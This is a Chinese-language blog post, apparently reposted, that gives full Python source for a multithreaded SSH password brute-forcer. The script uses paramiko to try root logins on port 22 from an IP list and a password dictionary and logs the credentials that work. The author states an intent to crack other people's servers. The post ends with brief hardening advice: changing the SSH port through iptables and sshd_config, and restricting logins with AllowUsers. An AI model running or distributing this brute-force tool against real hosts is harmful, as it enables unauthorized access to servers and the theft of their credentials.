標籤:
本文和大家分享的主要是python多線程的ssh**與防範相關內容,一起來看看吧,希望對大家學習python多線程有所協助。 0x01.About 這幾天發現朋友的伺服器22被人爆了,於是想想,也想去爆別人伺服器。 爆弱口令時候寫的一個python小指令碼,主要功能是實現使用字典多線程**ssh,支援ip表匯入,字典資料匯入。 主要使用到的是python的paramiko模組和多線程threading模組。 那麼,首先要準備的是字典dict、伺服器ip表。 東西很簡單,主要預設目錄如下: |--ssh.scan.py |--/log: sshd |--/dict: ip password ip和password按照一行一個放置。 0x02.Code 下面上源碼吧,檔案儲存為ssh.scan.py,查看使用方式:python ssh.scan.py -h #!/usr/bin/python python # -*- coding: utf-8 -*- import paramiko,threading,sys,time,os class SSHThread(threading.Thread): def __init__(self, ip, port, timeout, dic, LogFile): threading.Thread.__init__(self) self.ip = ip self.port = port self.dict = dic self.timeout = timeout self.LogFile = LogFile def run(self): print("Start try ssh => %s" % self.ip) username = "root" try: password = open(self.dict).read().split(’/n’) except: print("Open dict file `%s` error" % self.dict) exit(1) for pwd in password: try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout) print("/nIP => %s, Login %s => %s /n" % (self.ip, username, pwd)) open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s /n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd)) break except: print("IP => %s, Error %s => %s" % (self.ip, username, pwd)) pass def ViolenceSSH(ip, port, timeout, dic, LogFile): ssh_scan = SSHThread(ip, port, timeout, dic, LogFile) ssh_scan.start() def main(ipFile, dic, log): if ipFile == "-h": help() try: ipText = open(ipFile).read().split(’/n’) for ip in ipText: if ip != ’’: time.sleep(0.5) threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start() except: print("Open IP list file `%s` error" % ipFile) exit(1) def help(): print("python ssh.scan.py 使用說明:/n/ python ssh.scan.py ip_file_path dict_file_path ssh_log_path /n") exit(1) if __name__ == ’__main__’: fpath = os.path.dirname(os.path.abspath(’__file__’)) ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password" log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd" try: os.system("clear") main(ipFile, dic, log) except KeyboardInterrupt: exit(1) 結果比較醜,自己爆自己伺服器:
0x03.Solution 怎麼辦呢?防止被人**,那就修改ssh預設登陸連接埠吧。修改方式主要是修改ssh設定檔: 1.修改iptables 首先要過防火牆,修改防火牆規則: /sbin/iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport 2333 -j ACCEPT 儲存規則: service iptables save 重啟防火牆: service iptables restart 2.修改ssh設定檔 cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak 修改ssh連接埠: vim /etc/ssh/sshd_config 在連接埠#Port 22下面增加Port 2333 vim /etc/ssh/ssh_config 在連接埠#Port 22下面增加Port 2333 重啟ssh服務: service sshd restart 3.其他修改 限制使用者的SSH訪問 假設我們只要xiaocao和homeway使用者能通過SSH使用系統,向sshd_config設定檔中添加 vim /etc/ssh/sshd_config 修改下面一行: AllowUsers xiaocao homeway來源:雜術館
python多線程ssh爆破如何?與防範?